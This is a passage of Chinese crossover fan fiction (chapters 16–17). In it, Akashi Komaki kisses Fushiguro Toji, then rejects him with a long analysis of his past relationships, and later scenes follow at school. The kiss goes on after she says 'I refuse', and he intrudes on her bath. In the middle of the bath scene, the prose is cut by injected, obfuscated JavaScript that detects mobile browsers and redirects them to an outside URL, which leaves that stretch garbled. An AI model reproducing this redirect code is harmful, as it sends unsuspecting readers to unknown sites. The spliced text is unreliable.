甜品社社长开始反思。她千里迢迢从村子里来到东京,都是为了能考上东京大学,然后免于家里世世代代从事的农牧产业,成为一名医生,或者律师,或者教授,总之得是高知文化人。现在不仅为了无关课业的社团活动过分操心,仅仅是为了与隔壁副社长争胜,还因为一个萍水相逢的男性耽搁了社团……现在更是和幼稚鬼争论无关紧要的事,又忘了旁边的伏黑先生,刚刚那个“甚尔君”她也听得清清楚楚!Toji不就是甚尔,丫的这居然是本人! 甜品社长是个读书人,为了自己也怒了。 怎么能一直分心,如此堕落! 奋斗半年,他要上东大!万不能为了旁的杂事分心!她这辈子都不会回老家种土豆养奶牛的。 但是在此之前,她为了这两天来自己的一点情结,最后还是要弄明白一件事。 “赤司同学和伏黑先生是什么关系?” “他是我助理。”刚刚一瞬间感觉这位社长有种“奇怪的知识增加了”的感觉,然后不知道怎么的突然就脱胎换骨热血沸腾了。 小莳想,她这症状和料理社副社长挺像的,不愧是以前一个社团。现在是并不讨厌的感觉,所以她诚实回答了。 得到了一个答案,甜品社社长以为自己就能放心离开一心一意准备学园祭pk了,谁知道答案这么离奇:“什么,他是你老公?” 小莳震惊得说不出话,伏黑甚尔也说不出话。 甜品社长反倒是接受的最快的那个,都有对象了,她的少女心要有也得在单身东京人身上,一秒钟忘了对伏黑甚尔的喜欢。对恩人的老婆说:“好吧,这些都不重要了,下周学园祭,胜者将会是我们。”然后我就退社做一个读书的女人,然后上东大,毕业以后在东京工作,然后买房,一直一直住在这里不回老家了。 她是下定了决心,可小莳要被甜品社社长那句你老公吓晕了。 抛开流言传播速度从二年级传到三年级只有半天这件事不谈,隔壁社长就不能做到不信谣不传谣吗?! 16. 第 16 章 “今天晚上甚尔君想吃什么。”在人离开后,小莳假装什么都没发生。准备买菜。 “我想起来了,她是那天把我带到你们高中的那个。我还给她发过短信。”伏黑甚尔终于想起来刚刚的女学生是谁。 “……”只是前几天发生的事情,居然才想起来,“你的记忆力……” “所以得在忘掉之前请教一下你,刚刚她说的,是什么?”伏黑甚尔一步两步走到小莳身前,拉过她的胳膊,将人带到身侧。说完话,他眼带戏谑的笑意,嘴唇抿成一条线。 “你什么也没听到,请忘掉吧。”知道不可能简单糊弄,还是要面对伏黑甚尔的问责,小莳难得用上了敬语,企图敷衍过去。 “小莳,告诉我。”伏黑甚尔拢着她的肩,“这么重要的事,瞒着当事人之一不好吧。” “甚尔君这样靠近我,也不好吧。”她提醒道:“注意边界感,谢谢。” “……”伏黑甚尔不说话了。 算是相安无事的买好了菜。 回家换衣洗手,捡着现成的菜指导他做了晚饭。 小莳又开了一罐杨梅味的气泡水,这杯是6%的度数。味道一般,拔草,不回购。 因为不好喝,所以不算完整一罐。 高贵的东京公主此时正在履行再来一杯,只是家中条件太好,各种各样的待选品琳琅满目。 经过三轮面试,来到最终的是:“菠萝,葡萄,和橙子,你觉得哪个会比较好?” “橙子。” “好快的选。”小莳从善如流,橙子是很好很好的水果,橙子味的饮料只要真的有橙子味,再难喝也不会难喝到哪里去。 这么说好像有点怪,她的意思是,有的果汁明明叫做橙子汁,实际上橙汁含量0%,配料表一看:一位是水二位是白砂糖,货不对板。 她是不是有一点点上头了?可能。 但是开都开了,来都来了。 喝。 小莳移步沙发,继续看昨天的电视。 这一集用很幽默的方式揭示了欧美职场里各种各样的歧视,还有资本家在劳动市场价格歧视看人下菜的小小伎俩。女主还有30秒到达战场,给打工人一点职场下克上的毒打。 诶,进度怎么已经到这边了。 不管,接着往下看。 小莳的脸红扑扑,热腾腾,目不转睛盯着电视看。 看了大概又有两三集,天色已经完全黑了,大约是晚上八点。但是因为今天离开学校早,回家吃饭早,所以还可以再玩一个小时才洗澡。 维持着埋进沙发的姿势一直靠着,完全不累。伏黑甚尔走出浴室的时候,看见的就是这样倾倒如泥的仰躺。她面色红润,嘴唇亮晶晶的,专注盯着屏幕,但眼神透露出些许迷离--手边的易拉罐已经空了。 白色的头发铺开在沙发靠垫上,与他昨天想象中的画面重叠,像高崖飞流而下的银瀑,白皙的脖颈紧紧贴在他的手指曾停留过的地方,肩膀深陷进去…… 伏黑甚尔喉头微动。他在走廊站了一阵子,到他觉得时间已经太长,沙发上的身影还是一动不动。 他叹了口气,不能对她有什么指望。他走到沙发中间的位置上,坐在小莳右侧,拿过她手中的电视遥控器。在疑惑的目光中,一键关了电视。 小莳不解,但不妨碍开口先是抱怨:“还没到时间呢,我过会才洗澡。” 伏黑甚尔随手将遥控器丢在大理石茶几上,又越过小莳的身体,拾起她左手边乱丢的易拉罐。过程中他们又贴的很近。 他蓄意的。 “我洗过了。”返程时,还特意在她耳边说。 知道了知道了,他头发上水珠都滴她肩膀了!小莳有点不满,她慢吞吞地说:“闻到了。沐浴露的味道。” “现在满意了吗?” “如果我说‘这是你应该做的’,这样会不会有点像那种孩子好不容易有了点进步可偏生不愿意给点鼓励的坏家长?” “……” 伏黑甚尔没说话,小莳过了一会自问自答,“好像是有点像哦。” 伏黑甚尔发现小莳平常就很爱以亲子关系做比喻,尤其是反面的例子。结合他的人生阅历,他初步猜测,她以前大概也比较缺少亲情。想到她4岁就骤然到了另一个世界,十六岁才回来,现在和父亲的关系也比较淡薄,这个猜测可信度比较高。 所以呢?伏黑甚尔这样问自己,揣摩别人的内心,然后呢? 两人都没有说话。 小莳今晚喝的稍微比以前多了一点,也更加沉浸在自己的思绪中。她就还盯着电视,即使屏幕已经全黑。 伏黑甚尔拿她没辙,于沉默中开口,“你在想什么?” 她就把目光移到伏黑甚尔,双目对视,然后往下,挺拔的鼻梁,带着刀疤的双唇,轮廓分明的脸,最后到喉结,然后就停留在那里,“在想甚尔君。” 小莳的脑袋一向很好,这可能是赤司家基因的功劳——即使她在彼世长大,她的血脉根源仍然在这个世界,至于为何理应是普通人的她拥有了强大的幻术和惊人的火炎,小莳将它归功于世界性质不同,南橘北枳,这里注定就是个一切要走科学道路的世界了,再厉害的魔法术士,到这都得哑火,伏地魔在这都得伏着。 她被自己冷酷的比喻逗笑。 而她四岁时被过量的记忆冲决大脑,可能又算因祸得福,脑袋的好用程度更上一层楼了。 现在,信息的洪流,感性的巨涛,记忆的浪花,在她脑海汇聚。 之前思考过的,忽略掉的,隐于水面之下的,一一再现。现在她有了决断。 伏黑甚尔听见她的回答后,久违的感受到自己的心跳。他原本想,这没什么,小莳本来就喜欢他,这是他知道的事情。然而心跳揭穿了谎言,在极致的安静中,他听见咚哒、咚哒,那并不是对他错误估判的嘲讽,仅仅是因为女孩的一句话。终究紧张又在意。 所以他心生了怯,想了想,说:“刚刚我在那边站了一会,你在一直看电视。” 过了一会,小莳才应了一声:“哦。”她有一点难过了。 “你没注意到我。” “那倒是没有,我的身体素质虽然优秀,但是和甚尔君这样人类顶尖的比显然就是自取其辱了。”小莳的目光描摹着伏黑甚尔喉结的形状,“今天下午甚尔君隔着马路居然就注意到我了,老实说那个时候很惊讶。我们隔了一条至少十几米的马路,人和车流那样多,也能发现吗?” 因为转到了比较轻松的主题,小莳说话就顺畅起来,开始普通闲聊。 “脚步声,以及你咳嗽了。”伏黑甚尔简短的解释,他其实不想聊这些,所以没有延伸。 那么多人里,也能听清一人的脚步声吗。而且那个时候甚尔君是在看手机吧。 小莳眨了眨眼,看他的目光带上了点忧愁:“这样啊。” “怎么了。” “突然有点明白甚尔君以前为何就业能这么成功了。这样的洞察力和反应力,还有这样帅气的外表,大部分女性应该都会动心吧。” “……” “今天下午突然就有一种,虽然商业街车水马龙,人流如织,但是你看到我的时候,仿佛天地间就只有我和你一样的感觉了。明明是那样热闹的地方,你却隔着那么远一眼就发现了我。” 小莳不再陷在沙发里,她撑着坐起来,面对伏黑甚尔,右腿仍测盘在两人中间,但姿势好歹正了不少。 伏黑甚尔想问,既然如此你为什么看上去不高兴。 但是他没有,他只是一手拦过她的腰,使她离自己更近点,另一只手随后抱着她的背,不让她后仰。 现在小莳可以清晰地听见、感受到伏黑甚尔的喘息了。 是薄荷味牙膏。 又一滴水珠顺着他柔软的发尾滴落,在小莳的锁骨上。 真的很烦你们动不动物理拉近距离的人,小莳完全没反应过来,就被这个不讲武德的搂抱住。 “呜哇,你接下来不会要亲我了吧!” “如果是这样的话,请务必先把我的意见记录在案。赤司小莳说‘但是,我拒绝。’” 安稳沉静的一面消失,伏黑甚尔熟悉的小莳出现了。她面上表情也丰富起来,噘着嘴,满脸写着拒绝。 伏黑甚尔说着,“哦,好的。” 然后先将小莳锁骨上的水珠舔舐掉,随后在她没来得及发声前亲吻了她,把她多半是抱怨和不满的话堵在嗓子里。 小莳虽然说着拒绝,实际上想也知道伏黑甚尔不是那种别人拒绝他就不做事的人。她一直指望着他做饭呢,那该旷工的时候他还不是随心所欲翘班。 其次她以为自己的鼻子会被撞到,幸好没有。 在他突然凑近的时候,小莳就闭上了双眼,然后差不多也就是同一瞬间,她就感受到了伏黑甚尔的嘴唇。 网上冲浪的时候有那么一句话,在冷酷的男人,直肠都是暖的。虽然这一瞬间的联想很不妙,但是她主要想表达的是:甚尔君的嘴唇出乎意料的柔软。 她浑身被禁锢在温暖的怀抱里,鼻尖萦绕着沐浴露的香气,让她想起浴室中的潮湿氤氲,便也觉得周围空气湿润了起来。唇瓣上有如羽毛般轻柔的温软潮湿的触感,小莳分心思考,便猜到是甚尔君的舌尖。有点痒,有点麻,并不讨厌。她又感觉到下唇被轻轻吮吸,被舌尖轻抚,这下搞得她呼吸都乱了,当即想偏开头,然后被捏住了后颈,浑身都软了。伏黑甚尔的吻就和他的人一样,看起来勇实际上狡猾得很。一步一步试探,待小莳牙关咬不住了,自然微张口的时候,一下就被拖着进入更深层的交流。他的舌尖在她上下齿之间探了一圈,然后绕着她的舌头打转,接着又是轻吮又是摩擦,搞得小莳晕晕乎乎。沐浴露的的香气里也混杂了薄荷味,小莳觉得至少自己的嘴巴里现在全是薄荷味了。 途中不知道吞了多少不是自己的口水,具体发生了什么也脑袋空空了,她只是一不小心由着自己的身体本能接受那个吻,回应甚尔君的热情邀请。 结束的时候,对方的额头抵着他的额头,双唇稍分开,然而藕断丝连,她感受到唇瓣上挂着的银链,便顺便舔了一圈嘴唇,然后也扫过甚尔君的。 “真好。”他说。 在耳朵听见之前,嘴唇就感受到了温热的气流。 “换个姿势如何,”他也没等她回应,说罢就转了个身,正坐在沙发上,小莳腰背被两只手一翻,整个人便坐在伏黑甚尔的大腿上,两腿分开抵在柔软的沙发上。 现在她低着头能看到伏黑甚尔在仰视她,他的眼睛里是笑意和欲望的杂糅,“小莳,再亲我一下。” 什么叫再……刚刚也不是我主动的。 你这人讲话就搞笑。 然后她的后颈又被捏了一下,伏黑甚尔另一只手捧着她的脸颊,再次和她接吻。 他轻佻地扫过齿关和口腔,搜寻到她不争气的舌头,开始锲而不舍的纠缠,时而吮吸,时而敲打,时而只是简单地碰触。 小莳是很认真的研习过人体解剖学的,具体情况先不在此赘述,总之她知晓,舌头上神经密集,是人类重要的感觉器官。现在她感觉到的东西实在是太多了。而且她很喜欢。 她也尝试学着对方打转的样子,尝试吮吸他的舌尖,嘴唇。等她反应过来的时候,自己浑身欺压在甚尔君身上,左手扶着他的脖颈,右手托着他的脸颊和下巴,使他仰头和自己接吻。 而对方的右手托着她的腰,手心里散发温暖滚烫的热量,另一只手搭在沙发上。 他很顺从的配合她。 左手的触感来看,青筋很明显。 右手……下颌线,当然他线条优美下颌线是平时看侧脸就能看出来的东西。 她抬起头,右手拇指在甚尔君的嘴唇上摩挲着,见他神色也逐渐清明。小莳俯身又在他的喉结上落下一个吻,嘴唇还模仿着他先前的样子摩擦两下,残余的津液将那边沾得亮晶晶。然后她亲眼目睹了伏黑甚尔脖子上的青筋。 鉴定为好极品的男人。 与伏黑甚尔更分开些后,她还注意到了鼓鼓的□□。 “……” 她想从他身上下来,却被拽住了。 “小莳,喜欢吗?”伏黑甚尔又扯了她一把,可她这次使了点力,没被再拉着倒到他怀里。 “如果说不喜欢就是在骗你了。”她叹了一口气。 “那为什么不继续?”轻拉没有拽动,伏黑甚尔便明白了她的意思,没有再用力,而是自己坐直,主动靠近小莳,他的头搭在她的左肩,离小莳脆弱的脖颈不过一指之遥。 她在思维两端的拉扯中选择了有利于自己的一面:“因为,我要郑重地拒绝甚尔君,我不想和你交往。” 完了,现在她好像那种吃了孩子好不容易准备的孝心晚餐以后,说“以后不要费心做这些,妈妈更喜欢你做数学题以后考个好大学”的坏家长。 坏就坏吧,给他一点小小的霸王餐震撼。 唇舌间酥酥麻麻的感觉已经消失,面上的潮红仍未褪散,小莳趁着伏黑甚尔愣神的功夫,支着右腿转回刚刚属于自己的那块沙发。已经冷了,一点余温也不剩。 看见男人一动不动望着自己,似乎在讨个说法,小莳本着与其内耗自己,不如责怪他人的朴素社交观,理直气壮地说:“我什么也没做,都是甚尔君强迫我的。” 接着:“甚尔君就不能乖乖保持界限,认真待命做我的助理吗?” 最后义正言辞拒绝,如果忽略她嘴角的水渍和红透的耳垂,看上去倒像那么回事:“我必不可能和你发展一段畸形的不正当关系!好了差不多也到点了我去进行一个洗澡活动,拜拜。” 打出连招,但是颇有点落荒而逃的味道。 小莳觉得比起淋浴,今天更适合泡澡,她破天荒的自己用湿巾抹了一下浴缸,因为日常用得挺频繁,事后伏黑甚尔也都清洁的很干净,所以使用时随便擦一下即可。 当然这是她对自己的要求,如果今天准备浴缸的是助理,那便不可能只是简单擦拭,得先用花洒和消毒液先清洗一下,再擦干,再放水。 小莳回想起和园子的歪派:花了钱,应得的。 耗时30分钟,如愿以偿进入浴缸。腾起的水汽让她忍不住想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413084|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才甚尔君周身的潮气,还有要将她浸没的薄荷香味。 复盘这个亲吻:七点就刷牙洗澡,这很明显的有备而来,他就欺负她不设防呢。哼,想趁意乱情迷的时候搞定没有相关经验的大小姐,趁人之危,奸诈!然而……可以说甚尔君人坏,但不能否认他确实技术水平佳。如果是在彭格列遇到他,她说不定不介意再多来点 就这样把手机都丢到一边,满脑子都是伏黑甚尔这样,伏黑甚尔那样。 啊,摄入酒精不适合泡在水里来着。 意识到这点的时候小莳已经心跳加速头晕乎乎了,呼吸也短促起来。 太危险了,血管扩张,满脸通红。 吓死,还以为是想男人想的,仔细一看原来是心血管犯病了。 紧急把浴缸塞拔掉,让水位下降一点。 伏黑甚尔在沙发上坐着,手掌掩面待余韵过去,从刚才的情况来看,小莳是新手,结果反而是自己反应那么大……此时,他并没有把她的拒绝当回事。 当他闯入浴室的时候,看见的就是小莳抱膝坐在浴缸里,侧脸抵在膝盖上,面色发红地喘息。 往下看,是清澈的水波:“今天不用沐浴球了,嗯?” 尾音勾人,但是场合不宜。 “……”不是很懂男人被拒绝以后强势闯入浴室看人洗澡是什么意图,“这是是闲聊的时候吗?关门关门关门!”滚。 “遵命。”伏黑甚尔照做。 “我是说你出去再关门。如果不理解的话,那【滚!】总能明白吧!”小莳头从膝盖上离开,眼睛眯起来瞪他,身上有杀意,但不足以让他警惕。 伏黑甚尔看见大小姐的发尾离开水面,水珠滴滴答答地顺着并成一绺一绺的湿发往下流,其中一些坠进浴缸,发出咚的声响,像心跳。另一些在她细嫩的背部肌肤上留下蜿蜒透明的水渍。 他觉得自己吞咽有些艰涩。 小莳如果知道他在想什么,一定会啐他一口,然后帮忙确诊“你有咽炎”,可她目前毕竟只是一个酒后洗澡泡一半头晕目眩,呼吸困难还被人闯进澡堂的无助小女孩。对方听了她“出去”的话以后似乎也没有离开的意思。 她只好说:“你总不能就杵在这。” “理由。” “因为我衣不蔽体?不管哪个世界大家都不会在别人泡澡的时候闯进浴室吧!”这人有点不可理喻了。 “你要【郑重拒绝】我的理由,是什么?”伏黑甚尔的目光一直没有离开小莳的身体。 “就不能等我出去再谈吗?” 他不吭声,也不动,这就是一个无声的拒绝。 好犟的男的,好在刚刚水位成功下降到心脏位置以下,开门的时候又有冷空气进入浴室,小莳舒服多了,也有余力和他说话:“那你把浴巾递过来,我不想被你盯着看。” “现在可以说了吧。”伏黑甚尔见她掸开披在身上,整个人都裹进去,浴巾长边没入水里,随水波浮沉。 一切妥当处理好了,但是小莳一时之间不知道该怎么拒绝他,开口变得犹犹豫豫,“也没什么好说,拒绝的话哪有顺耳的……” “哦?你不会想说‘我对你没有爱情的悸动,以后害怕伤害到你,有损原本的情谊’之类的话吧。”伏黑甚尔双手交叠在前胸,眼皮子一翻,满脸嘲讽。 这话有点耳熟。 ……是那天的电视剧台词,他不是在房间里自闭吗?咋还听见了,可恶,现在还用这个嘲讽她己。小莳心想那他记忆力不好这件事情还真是间歇性发作。 真是不见棺材不掉泪。 小莳低着头,看见发丝在水中散开,浮动,“我并没有想要这样说的意思,但我也确实不想伤害甚尔。” “但我还是得先说明,《侦探圆舞曲》里面,女二这个角色的出厂动机纯粹是迎合市场,给恋爱加点很多观众爱看的三角恋情节,给男主立一个重情义的牌子,让一些脑袋不好使的观众有一种‘原来是用这种方式亚撒西的吗?实在是太感人辣’的恍然大悟感,从而提升话题度、获得更高的收视率。她存在就是为了被吸血。甚尔君用这种话来嘲讽我实在是太冒犯了。” 她的语调不急不缓,话语中也没有情绪起伏,只是笃定的地阐述事实。 “我不喜欢在人性层面欺骗他人,所以在一部分需要谎言的场合,我更擅长沉默地走开。” “现在被甚尔君封锁在浴室里也走不开了,即便如此也不会欺骗你的。接下来我要说的,句句真实。” 伏黑甚尔只能看见水珠顺着她的侧脸留下,听见她吐字清晰缺乏情绪的一个个音节,看不见表情,听不出心情。 “我确实有点喜欢你,但是就算夸再多最后都是要拒绝的所以直接跳过这步。正好你也等不及了吧?” 那还是等得及的,他想,但是他没有打断。 “我无意主动窥伺甚尔君的过往,对你可谓知之甚少,所以也不想轻易地凭借我所恰巧看到零珠碎玉否定你,只是事实往往这样子矛盾,倘若觉得一个人真那样好,那为何要拒绝他呢?显然不会……对不起啊,甚尔君,我也没有很了解你,却要在这里拒绝你、否定你了,还望你不要介怀。” 浴室里全都是潮湿的水汽,小莳转了个身盯着他,像是要看透他脑袋里的想法,她停顿的一两秒是那样漫长。 伏黑甚尔静静听着,心无杂念。 然后她很明显地呼出一口气,更像是在叹息:“甚尔君和第一任妻子有了个孩子,随最后一任妻子入赘了,中间还和很多女□□往过,过程不好说,但她们中的每一个你都喜欢,你和她们每一位发生关系。可是,你爱过谁呢?” “……” “我与甚尔君相处,总感觉到甚尔君性格中敏感的那部分,你并不是神经大条不知情为何物的笨蛋,你也不是见了女人就移不开眼并且每个都想要沾染的酒色之徒,只是不知怎的,每一段感情最终都归于淫滥。你大概有不幸的童年,消失的父母,糟糕的亲族,还有我们已经知道的腐朽的大家庭,然后成长成了不信任任何人、不指望别人喜欢自己的大人,这可能是心理创伤的应激,也可能是出于自保心理。只是身体固然可如槁木,心岂可如死灰?终究是活在尘世中的人,亲缘友缘皆不着边际,甚尔君就只能从性缘求诸慰藉。女孩子身上总有可爱之处,所以你每一个都喜欢,可是人生成长里难以解决的问题,从来也不是恋爱和色欲能解决的,所以感觉时候到了你便离开,再是下一个。” “……” “如果涌动的欲望是你对感情需求的代偿,那就像坐轮椅做久的人肌肉也会萎缩丧失一部分腿脚能力一样,你真的会期待和谁产生感情上的联系吗?” 简单来说,这是一个角色分工的问题。伏黑甚尔,做助理可以80分,伴侣的话负分。 “我对此保持怀疑的态度,因此……如果我说不想坐到一座必定会沉的泰坦尼克号上,这也是人性伦常。” 经过几轮铺垫,她最终一锤定音:“你看,甚尔君,确实有一些我并不了解的事情让你变成了今天的面貌,我无意揭开伤疤,也并不厌恶这样的你。只是,你对我来说不够好。” 17. 第 17 章 齐木楠雄变成了猫,没别的意思,主要是想来看看赤司小莳。 然后,公寓楼下,齐木楠雄发现大问题。 赤司小莳旁边本该是她的助理,他们应该在聊天做饭。 应该是很惨的助理,她一边想着“这种极品劳动力兼养眼美男子很快就要离我而去了”,一边“怎么办,我又不能包养甚尔君,也不愿意和他谈恋爱。”她十分笃定助理会因为告白失败而愤怒辞职,因为她是美丽可爱富有善解人意的豪门千金大小姐,伏黑甚尔必然喜欢她。上次看到这集还是遇见照桥心美的时候。 关于美丽可爱富有善解人意这四点,基于咖啡店的那次见面,齐木楠雄认可这是一个事实。但必定会喜欢,这就不至于了吧。 但重点不在这里。 本来应该能听见两个人的心声的,但他没有探测到所谓的伏黑甚尔。上次看到这一集还是遇到燃堂力。 现在比起单纯的看看小莳,齐木楠雄内心想的是。 照桥心美x燃堂力。这很难嗑。 齐木楠雄的思路很简单,因为听不见心声,只好瞬移到12楼阳台假装路过。 他们不养猫,但居然封窗了。 只好谨慎的站在窗户外边区区2cm的窗框上了。 齐木楠雄看到了沙发上接吻的2人,听了一些奇怪的比喻。 …… 总之,伏黑甚尔大概不是燃堂力那样的笨蛋,具体为什么他的心灵感应失效这就不清楚了。 好险,那个助理往窗外看了一眼,齐木楠雄爪子勾在外墙上悬空,在他的视野外躲过一劫。 他旁听了整场告白失败。 在伏黑甚尔强行要求一个解释时,赤司小莳的心念反而比平时更少,没有什么无厘头的话冒出来,如果说一般人的心声就像一个没有整理过的书架,人文社科医学育儿小说杂志什么都囫囵往上放,赤司小莳的就像排列齐整又宗庙宏富的书籍巨库。家族守护者大观、瓦利亚人员大全、任务目标生平简介、任务概述、读书心得、奈奈、阿纲。 现在,伏黑甚尔的全部信息也已快速归档。 他看见她给伏黑甚尔下的诊断:回避型依恋、像幼年时期缺少社会化训练的流浪猫、靠近可能变得不幸。 看了伏黑甚尔的人事档案,齐木楠雄对赤司小莳的敏锐洞察力和判断力评价更上一层楼。 不幸的经历造就不健全的人格显然非战之罪,然而有先见之明的人会谨慎选择与这类人交往。 伏黑甚尔沉默的听完了一席话,然后去房间收拾了东西就走了。这是齐木楠雄站在1203阳台落地窗外面看见的。 他的东西很少,两本书,手机,额,为什么把香水也带上了?虽然是喜欢的人送的礼物,但是关系还没开始就结束了,这样也有必要带走吗? 看来对方其实没有赤司小莳想得那么无情,在猫的上帝视角里,他能看见更多,不过两位当事人应该都没注意。 与此同时他听见小莳的心声:“以后估计看不见甚尔君了。”是很正确的判断。 “但是这也是没办法的事情,这事就像做产检查出唐氏儿,该堕就得堕。或者xyy,反正产检是让人筛选的,不是让人迎难而上的。” “没什么必要给未来添加不幸的种子。长成猴面包树就糟糕了。” 猴面包树是来自《小王子》的典故,很有趣。刚刚齐木楠雄顺便看了两眼读书心得文件夹。小王子的家乡b612星球上,如果有猴面包树种子进入土壤,就会快速生根发芽,长得很大,根系深扎土壤,对小小的行星造成灭顶之灾。 但是她的想法也太奇怪了,请不要再来这种比喻了。 “对不起园子,承你吉言,头天大婚就离了。” 赤司小莳她…… 小莳从浴室里出来的时候头发湿漉漉的,会给她吹头的助理已经不在了。 想去沙发上看电视的时候,看见窗外有只猫?但是一晃眼,猫咪消失。 眼花吗?这里是12楼,确实不太像会有猫的样子。 即便如此还是仔细的走进看了一下。万一是楼上下没封窗家里的猫跑出来就不好了,九条命也抵不过12楼重力,直到发现确实没有猫咪以后,才放心去看电视。 齐木楠雄站在公寓楼下,又看了一会小莳的文件夹才回家看电视。晚上十点,有他喜欢的剧集,可以搭配上次的咖啡冻观赏。 * 接下来小莳的生活就很正常,除了没人洗衣服,没人做饭,没人干家务。她觉得没有必要迅速的另请助理,因为这得和征十郎说,而征十郎又是洞若观火的人……于是只是上网搜了家政公司,购买了十次清洁服务,每天吃饭就点外卖和外卖的便当。 社团活动也很顺利,现在副社长已经把菜单里的食谱全部融会贯通,并且还跟着创真君额外学习了一些做饭小技巧。社员们的厨艺也突飞猛进。偶尔几次遇到甜品社的社长,对方也只是普通的打招呼,她就普通的回应,居然也算相安无事。 园子有几次问起怎么吃起了工业化产品,一看材料就缺少家庭小作坊气息。小莳只说助理闹脾气了,没说直接人没了,离职。 如果说有什么有趣的事情,大概是一年级新来的转学生学妹,她还是个idol。 小莳是二年级b班的,当然不会主动去探听此事。从园子口中听说时也只是看了一下照片,评价“确实很可爱,黑发黑眼的女孩子在这里还挺罕见的。麻花辫有点像惠宝,不过看上去更元气的样子。” 她叫RIKO,全名天内理子。 也是料理社的新人。 而在这个特殊节点,在大家全力奋战学园祭的时候,带新人的事情就全权交给了小莳,还有同样后勤的临时人员园子。 小莳和园子:“真的很可爱。”“真的。” 三人经常趁着社团活动的时候出去玩。 “有一种背叛了你兰学姐的感觉。” “没事,我已经学会瞒着惠宝在外面偷吃了w” 这种时候不习惯非主流言论的理子总会脸红:“两位学姐你们不要说这么惹人误解的话!” 不知道为什么,明明是孤儿出身又勤奋质朴的天内理子有时会给小莳一种同为大小姐的感觉。 小莳在闲聊时好奇问了。 她解释为假象,这年头没点心理疾病的人已经很罕见了:“我……小的时候会有幻想家人,大概因为这样心理上会觉得自己被保护的很好吧。就是,女仆,但也不全是女仆!我其实是发自内心相信黑井小姐存在的,只不过她大概在另一个世界吧。希望她在那里活得很好,也不要担心我。” 小莳能感觉到她说这话时相当认真,并且有忧伤和不舍,还是不要和可爱学妹聊这些,她选择了【照料生活】这一话题,转而说起自己的生活起居:“我以前也有个助理,和他相处了不到两个月,他愿意干活的时候真的挺面面俱到的,可惜……” 被园子插嘴:“你小莳学姐的助理还是她老公哦,不过现在旷工了,臭男人,要我说就是得调教。” 谢谢园子,她献祭了朋友,成功让理子不那么难过了。 “请看照片!” 园子展示的是伏黑甚尔在高原被蝴蝶沾肩的那张。 “……这个男人给我一种很凶的感觉,而且……他长得好像杀手。”天内理子打了个哆嗦,错觉吗?这个人长得怎么有点像上次捅了五条悟的那个。 小莳侧目,难道天内理子也有超直感?是这样的,伏黑甚尔在从良之前确实干掉过像理子一样可爱的国中生。害怕就对了。 话虽如此,小莳不愿加入有关伏黑甚尔这个具体的人的话题,她目不斜视看手机,这两天柯南和少年侦探团的其他小朋友因为阿笠博士受到了邀请,一起离开东京去外地玩。米花町的风气都清朗了,头版一页都没有案件新闻。 但逃避用处有限,话题放在甚尔身上总归有点不妙,她决定自己动嘴改善一下,提起了她曾经的幻术造物。 “我以前也有个幻想助理,不过我对女仆元素兴趣不大。那个时候我的里世界身份是□□大小姐,幻想中他是替我手刃对手为我献上敌人心脏的忠诚仆人。你们看过克苏鲁神话吗?诡异黏腻的神祇和怪奇的生物,我的幻想来源就是其中一位千面之神,伏行混沌,奈亚拉托提普。简称奈亚。现在想来大约有点土。”□□=彭格列,大小姐=十代目的义妹,这很合理。以前非主流的时候是喜欢看看克苏鲁神话,受其启发很正常。 园子眼睛都睁大了,聊天聊得好好的,怎么小莳还有中二病呢? 但天内理子对这个话题可就有点心得了,那些因为一般人看不见所以就随便乱长很是有碍观瞻的咒灵……以前可是天天见。米花真好!除了这里的居民快意恩仇,要小心注意万勿得罪人。 “wooooo,好酷。可是奈亚拉托提普不是时长以埃及黑人形象出场在小说里吗?如果是忠犬保镖的话,我倒觉得白毛墨镜190大帅哥!或者黑发狐狸眼阔腿裤DK是我心目中的理想形象!”理子接触过的男性不多,正巧以前就有两个看起来挺高质量的,正好用作谈资。 另一个世界也被十代目放置到瓦利亚历练的夏油杰:前面忘了后面忘了,第一,我没穿阔腿裤。 园子没什么幻想朋友,她在想自己作为社交达人是不是被孤立了。 “神话是神话,我是我,各论各的。我喜欢黑发绿眼,所以设定成黑发绿眼,毕竟如果是千面之神有一个面貌特别帅气也很合理,对吧?而且190太高了吧,跳起来够不到对方脑袋会让我很没有安全感,大概是我们家祖传的习惯。”征十郎也不喜欢太高的,但不巧,大家都不是身高特别出众的样子。 天内理子深以为然,她想起了某个白毛一下子把她吸起来的事情。不过,那个赏金猎人成功追上来了,不知道他怎么样,有没有危险。她在这个世界也有个把月,没见到五条悟和夏油杰,也许他们都在咒术界继续活跃着也不一定。她真诚期待如此。 铃木园子的人生过分写实,遇到过最危险的事情是被歹徒当作人质,虽然也很危险,但比起幻想中的案件还是差得远,不过小莳一个黑发绿眼让她立刻要素发现:“等等,腹黑先生是不是就是黑发绿眼,你是不是有一部分原因是这个才招聘他的,小莳?” 被她问问题的姑娘端起茶杯嘘了一口,然后饮下温烫的热茶,才说:“其实在第一次见面就决定了,黑发绿眼是后面才注意到,只能说是恰好对上偏好的巧合。我们见面……比较戏剧化。” 脱离物理规律的那种戏剧化。 “不过他脾气太差了。不经常能注意到他的眼睛。”她以这作为总结,然后有意把话题引到理子接下来的工作和行程上去。 今天的下午茶原本轮到铃木大小姐买单,但是天内理子不好意思总让两位学姐轮流请客,坚持这次自己来。 小莳和园子对视一眼,默契地在对方眼里看见想要调戏学妹的恶趣味。她先开始哭诉:“糟糕,学妹已经自食其力,而我还在吃哥哥,用哥哥。小莳啊小莳,你怎能如此的堕落!” 园子也跟着一起哭:“园子啊园子,你怎能如此的堕落。” 理子羞红了脸不敢看店员反应。 榎本女士亲切的和三人告别,欢迎她们下次光临。 问及学园祭打算邀请谁,理子有点不好意思的说,没什么朋友,所以邀请了经纪人。正好到时候可以拍几张学园祭的照片发社交平台和粉丝互动。 “阳菜姐姐人很好,因为我年纪还小没有给安排太多通告……说是让我也不能放下学习,如果以后转行了也可以考大学,也很照顾我,就像亲姐姐一样!”理子说这话的时候眼睛红通通的。 “因为理子也很可爱嘛,如果是我的话,我也会愿意为理子好好打算,但是照顾就算了,我还需要人照顾呢!” 